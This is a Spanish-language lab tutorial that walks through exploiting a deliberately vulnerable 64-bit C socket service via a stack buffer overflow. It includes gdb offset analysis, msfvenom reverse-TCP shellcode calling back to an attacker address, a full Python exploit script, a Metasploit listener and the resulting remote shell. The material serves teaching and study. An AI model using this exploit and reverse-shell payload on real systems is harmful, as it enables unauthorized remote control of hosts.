OBJETIVO

Mediante la explotación de una vulnerabilidad originada por un desbordamiento de búfer en una arquitectura de 64 bits, obtener una reverse shell que permita tomar el control remoto del sistema objetivo.

PREPARACIÓN DE LABORATORIO

Antes de iniciar directamente con la explotación de la vulnerabilidad, es necesario preparar el entorno de trabajo asegurando que los sistemas se encuentren correctamente configurados dentro de un entorno virtualizado. Para ello, se utiliza VirtualBox versión 7.2.8, ejecutando la distribución GNU/Linux Debian 13.4 como sistema objetivo. El entorno emplea el kernel versión 6.12.74+deb13+1-amd64, y la compilación del código se realiza utilizando el compilador GCC en su versión 14.2.0.


Asimismo, a continuación se indican las herramientas necesarias para la creación y preparación de la máquina virtual:

#apt-get update && apt-get install -y vim build-essential gdb net-tools isc-dhcp-client python3-pip python3-ropgadget

Como parte de la práctica de laboratorio, y con el objetivo de facilitar el análisis de memoria (simulando el comportamiento de una máquina tipo CTF), se deshabilita el mecanismo de seguridad ASLR (Address Space Layout Randomization).

# /usr/sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Para el sistema atacante, es posible emplear alguna distribución de Kali Linux, que en este caso se utilizó el kernel 6.18.12+kali-amd64.

CÓDIGO FUENTE

Se presenta el siguiente código en C vulnerable, el cual será utilizado como objetivo de explotación. Su funcionalidad se limita a recibir una cadena de texto y determinar si esta corresponde a un palíndromo. Es importante notar que la función obtener_tamanio(), ubicada en la línea 16, introduce un valor dinámico que provoca variaciones en el offset del stack, lo que obliga a ajustar el exploit en cada ejecución.


#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<arpa/inet.h>
#include<signal.h>
#include<unistd.h>
#include<time.h>

#define TamCli 1800
#define TamSer 1800
#define PUERTO 9999

unsigned char *buffer_global = (unsigned char *)0xffffffffffffffff;
unsigned char *reg_rbp = (unsigned char *)0xffffffffffffffff;

int obtener_tamanio() {
        srand(time(NULL));
        return 405 + rand() % (599 - 405 + 1); //Retornar un número aleatorio entre 405 y 599
}

void copiar_Cadena_En_Buffer(char *Mensaje_Cliente, int bytes, int n){
        char buffer[n];
        printf ( "\nDirección de inicio del buffer es \t\t\t%p", &buffer ) ;
        buffer_global = buffer;

        __asm__("movq %%rbp, %0" : "=r" (reg_rbp));
        printf("\nValor de RBP:\t\t\t\t\t\t%p \n", reg_rbp);

        memcpy(buffer, Mensaje_Cliente, bytes);
}

int Es_Palindromo(char buffer[], int s, int e){
        if(s == e){return 1;}

        if(buffer[s] != buffer[e]){return 0;}

        if(s < e + 1){return Es_Palindromo(buffer, s + 1, e - 1);}

        return 1;
}

int Valida_Cadena(char *Mensaje_Cliente){
        char buffer[1300];
        int ban = 0, n;
        strcpy(buffer, Mensaje_Cliente);
        n = strlen(buffer);
        if(n==0){return 1;}

        ban = Es_Palindromo(buffer, 0, n-1);

        if(ban==0)
                return 0;
        else
                return 1;
}

int main(int argc, char *argv[]){
        int descriptor_socket, cliente_socket, c, i, ban=1, n=obtener_tamanio();
        struct sockaddr_in servidor, cliente;
        char Mensaje_Cliente[TamCli], Mensaje_Servidor_1[TamSer], Mensaje_Servidor_2[TamSer];
        for(i=0; i<TamSer; i++)
                Mensaje_Servidor_2[i] = '\0';
        for(i=0; i<TamSer; i++)
                Mensaje_Servidor_1[i] = '\0';

        descriptor_socket = socket(AF_INET, SOCK_STREAM, 0);
        if(descriptor_socket == -1)
                printf("El socket no puede ser creado\n");

        servidor.sin_family =  AF_INET;
        servidor.sin_addr.s_addr = INADDR_ANY;
        servidor.sin_port =htons(PUERTO);

        if(bind(descriptor_socket,(struct sockaddr *)&servidor, sizeof(servidor))<0){
                perror("Error en Bind");
                return 1;
        }

        listen(descriptor_socket, 10);

        printf("Escuchando peticiones por el puerto: %i\n", PUERTO);
        puts("Esperando conexiones...");
        c = sizeof(struct sockaddr_in);

        signal(descriptor_socket, SIG_IGN);

        while(1){
                strcpy(Mensaje_Servidor_1, "Ingresa una palabra para revisar si es un palíndromo: ");
                for(i=0; i<TamCli; i++)
                        Mensaje_Cliente[i] = '\0';

                cliente_socket = accept(descriptor_socket, (struct sockaddr *)&cliente, (socklen_t*)&c);
                if(cliente_socket <0){
                        perror("Las conexiones no pueden ser aceptadas\n");
                        return 1;
                }

                puts("Conexión aceptada...");

                if(fork()==0){

                        write(cliente_socket, Mensaje_Servidor_1, strlen(Mensaje_Servidor_1));
                        recv(cliente_socket, Mensaje_Cliente, 1300, 0);

                        int tamanio=0;
                        printf("Cliente: ");
                        while(Mensaje_Cliente[tamanio]!=0x0A){ //Imprime hasta que encuentre el enter = 0x0A
                                printf("%c",Mensaje_Cliente[tamanio]);
                                tamanio++;
                        }
                        printf("\n");

                        copiar_Cadena_En_Buffer(Mensaje_Cliente, tamanio, n); //Funcion que causa el buffer overflow
                        Mensaje_Cliente[tamanio] = '\0';
                        ban = Valida_Cadena(Mensaje_Cliente);

                        if (ban == 1) {
                            snprintf(Mensaje_Servidor_2, TamSer,
                                     "\nSí, la palabra es palíndromo\n"
                                     "Dirección inicio de buffer:\t%p\n"
                                     "Dirección registro de rbp:\t%p\n\n",
                                     (void *)buffer_global, (void *)reg_rbp);
                            write(cliente_socket, Mensaje_Servidor_2, strlen(Mensaje_Servidor_2));
                        } else {
                            snprintf(Mensaje_Servidor_1, TamSer,
                                     "\nNo, la palabra no es un palíndromo\n"
                                     "Dirección inicio de buffer:\t%p\n"
                                     "Dirección registro de rbp:\t%p\n\n",
                                     (void *)buffer_global, (void *)reg_rbp);
                            write(cliente_socket, Mensaje_Servidor_1, strlen(Mensaje_Servidor_1));
                        }
                        ban = 1;
                        close(cliente_socket);
                        puts("El cliente fue desconectado\n");
                        fflush(stdout);
                }
                else{
                        close(cliente_socket);
                }

        }
        return 0;
}

El programa se compila utilizando gcc con el parámetro -z execstack, lo que permite la ejecución de código en la pila, una configuración común en escenarios de tipo CTF. Con esta configuración, el sistema queda preparado para llevar a cabo el proceso de explotación.

Compilación: gcc Servicio_1.c -z execstack -o Servicio_1.exe
debian@debian:~/LAB1$ gcc Servicio_1.c -z execstack -o Servicio_1.exe
debian@debian:~/LAB1$ ls
Servicio_1.c Servicio_1.exe
debian@debian:~/LAB1$ ./Servicio_1.exe
Escuchando peticiones por el puerto: 9999
Esperando conexiones...

EXPLOTACIÓN

Para iniciar el proceso de explotación de la vulnerabilidad, desde la máquina atacante se realiza un escaneo de puertos contra la máquina objetivo, la cual cuenta con la dirección IP 192.168.1.11.

┌──(debian㉿debian)-[~]
└─$ nmap -p- 192.168.1.11
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 21:38 -0500
Nmap scan report for 192.168.1.11
PORT STATE SERVICE
22/tcp open ssh
9999/tcp open abyss

Podemos observar que únicamente se encuentran abiertos dos puertos: 22 y 9999. A través del puerto 9999 es posible enviar directamente una cadena de texto a la máquina objetivo para validar si el contenido corresponde a un palíndromo o no. Al analizar la respuesta generada por el programa, se obtiene información adicional relevante, como la dirección de inicio del búfer (espacio de memoria donde se almacena la cadena a evaluar) y la dirección del registro RBP. Estos datos resultan fundamentales para llevar a cabo la explotación de la vulnerabilidad de forma remota, especialmente en escenarios de práctica tipo CTF.

┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*94 + 'B'*4)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
No, la palabra no es un palíndromo
Dirección inicio de buffer: 0x7fffffffcba0
Dirección registro de rbp: 0x7fffffffcd80

Con fines de estudio y práctica de laboratorio, regresamos a la máquina objetivo y detenemos la ejecución del programa mediante la combinación de teclas Ctrl + C. Posteriormente, iniciamos el proceso de depuración del programa utilizando gdb. Se establece un breakpoint al inicio de la función main y se ejecuta el programa bajo el depurador. Como resultado, se observa que la ejecución del programa se detiene correctamente en el breakpoint definido en main.

debian@debian:~/LAB1$ gdb -q Servicio_1.exe
(gdb) break main
Breakpoint 1 at 0x150f
(gdb) run
Starting program: /home/debian/LAB1/Servicio_1.exe
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000055555555550f in main ()

	    

Dado que contamos con acceso al código fuente, sabemos que es necesario centrar el análisis en la función copiar_Cadena_En_Buffer(). Alternativamente, también es posible realizar un análisis estático de las funciones cargadas en el binario. Para este caso en particular, podemos listar todas las funciones cuyos nombres comiencen con la subcadena ^cop, lo que nos proporciona el siguiente resultado:


(gdb) info functions ^cop
All functions matching regular expression "^cop":

Non-debugging symbols:
0x0000555555555351  copiar_Cadena_En_Buffer
0x00007ffff7e05fe0  copysignl
0x00007ffff7e06350  copysign
0x00007ffff7e06720  copysignf
0x00007ffff7ec6810  copy_file_range
	    

Ahora realizamos el desensamblado de la función copiar_Cadena_En_Buffer():


(gdb) disassemble copiar_Cadena_En_Buffer
Dump of assembler code for function copiar_Cadena_En_Buffer:
   0x0000555555555351 <+0>:     push   %rbp
   0x0000555555555352 <+1>:     mov    %rsp,%rbp
   0x0000555555555355 <+4>:     push   %rbx
   0x0000555555555356 <+5>:     sub    $0x28,%rsp
   0x000055555555535a <+9>:     mov    %rdi,-0x28(%rbp)
   0x000055555555535e <+13>:    mov    %esi,-0x2c(%rbp)
   0x0000555555555361 <+16>:    mov    %edx,-0x30(%rbp)
   0x0000555555555364 <+19>:    mov    %rsp,%rax
   0x0000555555555367 <+22>:    mov    %rax,%rbx
...
   0x00005555555553f9 <+168>:   mov    -0x20(%rbp),%rax
   0x00005555555553fd <+172>:   mov    %rcx,%rsi
   0x0000555555555400 <+175>:   mov    %rax,%rdi
   0x0000555555555403 <+178>:   call   0x555555555100 
   0x0000555555555408 <+183>:   mov    %rbx,%rsp
   0x000055555555540b <+186>:   nop
...

	    

A partir del análisis del código fuente, identificamos que la función memcpy(buffer, Mensaje_Cliente, bytes); introduce una vulnerabilidad de desbordamiento de búfer cuando el valor del parámetro bytes supera el tamaño del búfer asignado. Por ello, resulta conveniente examinar el estado de la pila inmediatamente después de que el búfer es llenado, estableciendo un breakpoint (break) en el punto de interés y continuando posteriormente con la ejecución del programa bajo el depurador.


(gdb) break *copiar_Cadena_En_Buffer + 183
Breakpoint 2 at 0x555555555408
(gdb) set follow-fork-mode child

(gdb) c
Continuing.
Escuchando peticiones por el puerto: 9999
Esperando conexiones...
	    

Nuevamente desde Kali, enviamos 100 caracteres:


┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*94 + 'B'*4)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
	    

En la máquina objetivo se observa que la ejecución del programa se ha detenido exactamente en el breakpoint establecido, como se muestra a continuación:


[Attaching after Thread 0x7ffff7dc4740 (LWP 1077) fork to child process 1080]
[New inferior 2 (process 1080)]
[Detaching after fork from parent process 1077]
[Inferior 1 (process 1077) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cliente: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Dirección de inicio del buffer es                       0x7fffffffcab0
Valor de RBP:                                           0x7fffffffcd40
[Switching to Thread 0x7ffff7dc4740 (LWP 1080)]

Thread 2.1 "Servicio_1.exe" hit Breakpoint 2, 0x0000555555555408 in copiar_Cadena_En_Buffer ()
	    

Arquitectura de memoria en x86-64

Para comprender en profundidad la vulnerabilidad explotada, es necesario entender cómo el sistema operativo organiza la memoria RAM durante la ejecución de un proceso. En arquitecturas de 64 bits (x86-64), Linux asigna un espacio de memoria virtual privado para cada proceso, estructurado en los siguientes segmentos:

SegmentoFunciónDirecciones típicas
.textCódigo máquina del programa (instrucciones)Bajas (0x400000)
.dataVariables globales inicializadasSigue a .text
.bssVariables globales no inicializadasSigue a .data
HeapMemoria dinámica (malloc, new)Crece hacia arriba (↗)
Stack (Pila)Variables locales, llamadas a funcionesCrece hacia abajo (↙) desde altas direcciones

Bosquejo de la memoria de un proceso en x86-64

A continuación se muestra una representación gráfica de cómo se disponen los diferentes segmentos en la memoria virtual de un proceso Linux de 64 bits. Las direcciones aumentan hacia abajo en el diagrama.


| Dirección         | Segmento                | Contenido                                                    | Crecimiento          |
|------------------|--------------------------|--------------------------------------------------------------|----------------------|
| 0x7fffffffffff   | STACK (Pila)             | Variables locales, llamadas a funciones,                     | ↓ crece hacia abajo  |
|                  |                          | direcciones de retorno (RIP guardado)                        |                      |
|                  |                          | ...(más direcciones altas...)...                             |                      |
| 0x7ffff7...000   | Memoria compartida (mmap)| Bibliotecas compartidas (.so, mmap)                          | ─                    |
| 0x00007f...000   | HEAP                     | Memoria dinámica (malloc, calloc, new)                       | ↑ crece hacia arriba |
|                  |                          | ...(segmentos internos...)...                                |                      |
| 0x00005555...000 | .bss                     | Variables globales no inicializadas                          | ─                    |
| 0x00005555...000 | .data                    | Variables globales inicializadas                             | ─                    |
| 0x00005555...000 | .text                    | Código máquina del programa (instrucciones ensamblador)      | ─                    |
|                  |                          |   0x555555555351: push %rbp                                  |                      |
|                  |                          |   0x555555555352: mov %rsp,%rbp                              |                      |
|                  |                          |   0x555555555355: push %rbx                                  |                      |
|                  |                          |   ...                                                        |                      |
|------------------|--------------------------|--------------------------------------------------------------|----------------------|
| (direcciones bajas)                                                                         ↑ Las direcciones aumentan hacia abajo |
                

Zoom al segmento de pila (Stack)

Cuando una función es llamada, el sistema reserva un marco (stack frame) en la pila que contiene:

  1. Argumentos de la función (si no caben en registros).
  2. La dirección de retorno (RIP guardado): instrucción a la que debe volver el programa al finalizar la función.
  3. El valor anterior del registro $rbp (base pointer), para restaurar el contexto de la función llamadora.
  4. Las variables locales de la función (en nuestro caso, el buffer[]).

En nuestro laboratorio, justo después de ejecutar memcpy (breakpoint +183), el estado de la pila es el siguiente:


(gdb) x/86gx $rsp
0x7fffffffcab0: 0x4141414141414141      0x4141414141414141   ← inicio del buffer (94 'A')
0x7fffffffcac0: 0x4141414141414141      0x4141414141414141
0x7fffffffcad0: 0x4141414141414141      0x4141414141414141
0x7fffffffcae0: 0x4141414141414141      0x4141414141414141
0x7fffffffcaf0: 0x4141414141414141      0x4141414141414141
0x7fffffffcb00: 0x4141414141414141      0x4242414141414141
0x7fffffffcb10: 0x0000000000004242      0x0000000000000000
0x7fffffffcb20: 0x0000000000000000      0x00007ffff7e21290
...
0x7fffffffcd30: 0x00007fffffffe2d0      0x00007fffffffe3e8
0x7fffffffcd40: 0x00007fffffffe2d0      0x00005555555557cd   ← ¡RIP guardado!
0x7fffffffcd50: 0x00007fffffffe3e8      0x0000000100000000
            

Además, podemos obtener más información acerca del marco de pila:


(gdb) info frame
Stack level 0, frame at 0x7fffffffcd50:
 rip = 0x555555555408 in copiar_Cadena_En_Buffer; saved rip = 0x5555555557cd
 called by frame at 0x7fffffffe2e0
 Arglist at 0x7fffffffcd40, args:
 Locals at 0x7fffffffcd40, Previous frame's sp is 0x7fffffffcd50
 Saved registers:
  rbx at 0x7fffffffcd38, rbp at 0x7fffffffcd40, rip at 0x7fffffffcd48
(gdb)
	    
Análisis detallado:
  • Dirección de inicio del buffer: 0x7fffffffcab0 (donde se almacenan las 'A' y luego 'B').
  • Dirección donde se guarda el $rbp anterior: 0x7fffffffcd40 (valor: 0x00007fffffffe2d0).
  • Dirección donde se guarda el $rip de retorno: 0x7fffffffcd48 (valor original: 0x00005555555557cd, que apunta a código en main).
El objetivo del atacante es sobrescribir la dirección en 0x7fffffffcd48 con una dirección controlada (por ejemplo, el propio buffer 0x7fffffffcab0), de modo que cuando la función ejecute ret, el programa salte al shellcode inyectado.

Cálculo del offset

La diferencia entre la dirección de $rbp (0x7fffffffcd40) y el inicio del buffer (0x7fffffffcab0) es:

0x7fffffffcd40 - 0x7fffffffcab0 = 0x290 = 656 bytes

Como el $rip se guarda inmediatamente después del $rbp (8 bytes más arriba), el offset total para alcanzar y sobrescribir la dirección de retorno es:

656 bytes + 8 bytes = 664 bytes

Esto significa que los primeros 664 bytes del mensaje enviado por el cliente llenarán el buffer y luego escribirán exactamente sobre el $rip guardado. Los siguientes 8 bytes serán la nueva dirección de retorno (en nuestro caso, el buffer donde reside el shellcode).

Continuamos con la ejecución del programa (comando c dentro de gdb), pero ahora enviamos los datos desde la máquina atacante utilizando la información previamente obtenida:


──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*664 + 'B'*8)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
	    

Y observamos de nuevo el contenido de la pila, obtendremos lo siguiente:


(gdb)  x/86gx $rsp
0x7fffffffcab0: 0x4141414141414141      0x4141414141414141
0x7fffffffcac0: 0x4141414141414141      0x4141414141414141
...
0x7fffffffcd30: 0x4141414141414141      0x4141414141414141
0x7fffffffcd40: 0x4141414141414141      0x4242424242424242
0x7fffffffcd50: 0x00007fffffffe3e8      0x0000000100000000
(gdb) info frame
Stack level 0, frame at 0x7fffffffcd50:
 rip = 0x555555555408 in copiar_Cadena_En_Buffer; saved rip = 0x4242424242424242
 called by frame at 0x7fffffffcd58
 Arglist at 0x7fffffffcd40, args:
 Locals at 0x7fffffffcd40, Previous frame's sp is 0x7fffffffcd50
 Saved registers:
  rbx at 0x7fffffffcd38, rbp at 0x7fffffffcd40, rip at 0x7fffffffcd48
(gdb)
	    

Miramos que el contenido previo del registro $rip ha sido sobrescrito con la cadena 0x4242424242424242, lo que confirma que es posible tomar el control del flujo de ejecución del programa. Al continuar con la ejecución, se produce un Segmentation fault, ya que la dirección 0x4242424242424242 no corresponde a una dirección de memoria válida. Finalmente, se finaliza el proceso utilizando el comando pkill, con el objetivo de cerrar cualquier conexión que haya quedado abierta, liberar el puerto 9999 y permitir la ejecución posterior del programa sin conflictos.


(gdb) c
Continuing.

Thread 3.1 "Servicio_1.exe" received signal SIGSEGV, Segmentation fault.
0x0000555555555411 in copiar_Cadena_En_Buffer ()
(gdb) q
A debugging session is active.

        Inferior 3 [process 1092] will be killed.

Quit anyway? (y or n) y
debian@debian:~/LAB1$ pkill -f Servicio_1.exe
	    
Nota: Es importante notar nuevamente que, en la declaración del búfer ubicada en la línea 22 del código fuente, la variable n corresponde a un valor dinámico comprendido entre 405 y 599. Como consecuencia, al ejecutar nuevamente el programa es posible obtener un offset distinto al previamente calculado, tal como se muestra a continuación:

debian@debian:~/LAB1$ ./Servicio_1.exe
Escuchando peticiones por el puerto: 9999
Esperando conexiones...
Conexión aceptada...
Cliente: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Dirección de inicio del buffer es                       0x7fffffffcb70
Valor de RBP:                                           0x7fffffffcd80
	    


┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 -c "print('A'*94 + 'B'*4)" | nc 192.168.1.11 9999
Ingresa una palabra para revisar si es un palíndromo:
No, la palabra no es un palíndromo
Dirección inicio de buffer:     0x7fffffffcb70
Dirección registro de rbp:      0x7fffffffcd80

	    

En esta ejecución se determina que el offset requerido es de 536 bytes.

EXPLOIT en Python

Con la información de la dirección de inicio del búfer y el offset calculado, procedemos a generar el payload para obtener una reverse shell.

Generación del shellcode con msfvenom:

┌──(debian㉿debian)-[~]
└─$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.12 LPORT=8088 -b '\x00\x0A\x0D' -f python
Payload size: 175 bytes

buf = b''

buf += b"\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d"

buf += b"\x05\xef\xff\xff\xff\x48\xbb\x3d\xc7\x25\xc8\xfd"

buf += b"\x31\x44\x1e\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"

buf += b"\xff\xe2\xf4\x0c\x38\x4f\xc1\xa5\xa8\xf2\x0e\x75"

buf += b"\x4e\xf3\x85\xcc\xf8\x2e\x3c\x7c\x9d\x4f\xcf\xa7"

buf += b"\x3e\x41\x56\xb8\x07\x5d\x99\x97\x3b\x05\x47\x6d"

buf += b"\xad\x0c\x90\x64\x5b\x46\x41\x57\xc6\x7b\xc7\xf8"

buf += b"\x79\xc1\xde\x45\xfc\x6d\x5f\xb5\x88\x46\x1e\x22"

buf += b"\x5f\xe5\x60\xfc\x3d\x15\x56\xb4\x21\x4f\xd8\xa7"

buf += b"\x5b\x6e\x46\x32\xc2\x7c\x80\x78\xf1\x3d\x3b\x74"

buf += b"\x38\xec\xbc\xe5\x66\x2e\x3d\x65\xad\x25\xa2\xf8"

buf += b"\x79\xcd\xf9\x75\xf6\xd3\xc7\xf8\x68\x1d\x41\x75"

buf += b"\x42\xe5\xb1\x3a\x5b\x78\x46\x57\xc6\x7a\xc7\xf8"

buf += b"\x6f\x2e\x38\x67\xc8\x20\x80\x78\xf1\x3c\xf3\xc2"

buf += b"\x21\x25\xc8\xfd\x31\x44\x1e"

Script de exploit completo (exploit.py):

Tomando en cuenta que el tamaño del offset calculado es de 536 bytes, el exploit se construye utilizando 200 bytes de instrucciones NOP, 175 bytes correspondientes al payload encargado de obtener la reverse shell, y los 161 bytes restantes se emplean como relleno para completar los 536 bytes previos a la sobrescritura del registro $rip.

#!/usr/bin/python3
import sys
from struct import pack

nop = b""
nop += b'\x90' * 200

# Inicio del exploit
# 175 bytes
buf = b''
buf += b"\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x3d\xc7\x25\xc8\xfd"
buf += b"\x31\x44\x1e\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x0c\x38\x4f\xc1\xa5\xa8\xf2\x0e\x75"
buf += b"\x4e\xf3\x85\xcc\xf8\x2e\x3c\x7c\x9d\x4f\xcf\xa7"
buf += b"\x3e\x41\x56\xb8\x07\x5d\x99\x97\x3b\x05\x47\x6d"
buf += b"\xad\x0c\x90\x64\x5b\x46\x41\x57\xc6\x7b\xc7\xf8"
buf += b"\x79\xc1\xde\x45\xfc\x6d\x5f\xb5\x88\x46\x1e\x22"
buf += b"\x5f\xe5\x60\xfc\x3d\x15\x56\xb4\x21\x4f\xd8\xa7"
buf += b"\x5b\x6e\x46\x32\xc2\x7c\x80\x78\xf1\x3d\x3b\x74"
buf += b"\x38\xec\xbc\xe5\x66\x2e\x3d\x65\xad\x25\xa2\xf8"
buf += b"\x79\xcd\xf9\x75\xf6\xd3\xc7\xf8\x68\x1d\x41\x75"
buf += b"\x42\xe5\xb1\x3a\x5b\x78\x46\x57\xc6\x7a\xc7\xf8"
buf += b"\x6f\x2e\x38\x67\xc8\x20\x80\x78\xf1\x3c\xf3\xc2"
buf += b"\x21\x25\xc8\xfd\x31\x44\x1e"

relleno = b""
relleno += b'\x41' * 161

# Dirección de retorno (buffer en pila)
rip = b""
rip += b'\x24\xcc\xff\xff\xff\x7f\x00\x00'

sys.stdout.buffer.write(nop + buf + relleno + rip + b'\x0a')
		

Finalmente, se guarda el exploit en el archivo exploit.py y se genera el archivo entrada.txt, el cual será utilizado para enviar el payload al servicio vulnerable.

┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ python3 exploit.py > entrada.txt

Ahora es necesario contar con un servicio en escucha que permita recibir la conexión entrante cuando la reverse shell sea ejecutada desde la máquina comprometida. Para ello, en la máquina atacante iniciamos el framework Metasploit ejecutando los siguientes comandos:


Listener en Metasploit (consola atacante):

┌──(debian㉿debian)-[~]
└─$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.12
msf6 exploit(multi/handler) > set LPORT 8088
msf6 exploit(multi/handler) > run

Ejecución del exploit:

Abrimos una consola adicional en la máquina atacante con el fin de enviar el exploit al servicio vulnerable, tal como se muestra a continuación:

┌──(debian㉿debian)-[~/Exploit_LAB1]
└─$ nc 192.168.1.11 9999 < entrada.txt
Ingresa una palabra para revisar si es un palíndromo:

Finalmente, en la primera consola de la máquina atacante se puede observar que la conexión ha sido establecida exitosamente, confirmando la obtención de una reverse shell desde el sistema objetivo.

[*] Started reverse TCP handler on 192.168.1.12:8088
[*] Sending stage (38 bytes) to 192.168.1.11
[*] Command shell session 2 opened (192.168.1.12:8088 -> 192.168.1.11:48830)
id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(bluetooth)
uname -a
Linux debian 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64 GNU/Linux
Exploit exitoso: Reverse shell obtenida en el sistema víctima.

Resumen de Offsets Obtenidos

PruebaDirección BufferDirección RBPOffset CalculadoObservación
10x7fffffffcab00x7fffffffcd40664 bytesPrimera ejecución
20x7fffffffcb700x7fffffffcd80536 bytesSegunda ejecución (n dinámico)

Herramientas utilizadas

VirtualBox 7.2.8

Debian 12.5 / Kali Linux

GDB + msfvenom

Depuración y generación de payload

-z execstack

Pila ejecutable

Python3

Exploit personalizado

AVISO LEGAL: Este contenido es únicamente con fines educativos y de investigación. La explotación de vulnerabilidades sin autorización explícita es ilegal. Realice estas prácticas exclusivamente en entornos controlados y de su propiedad.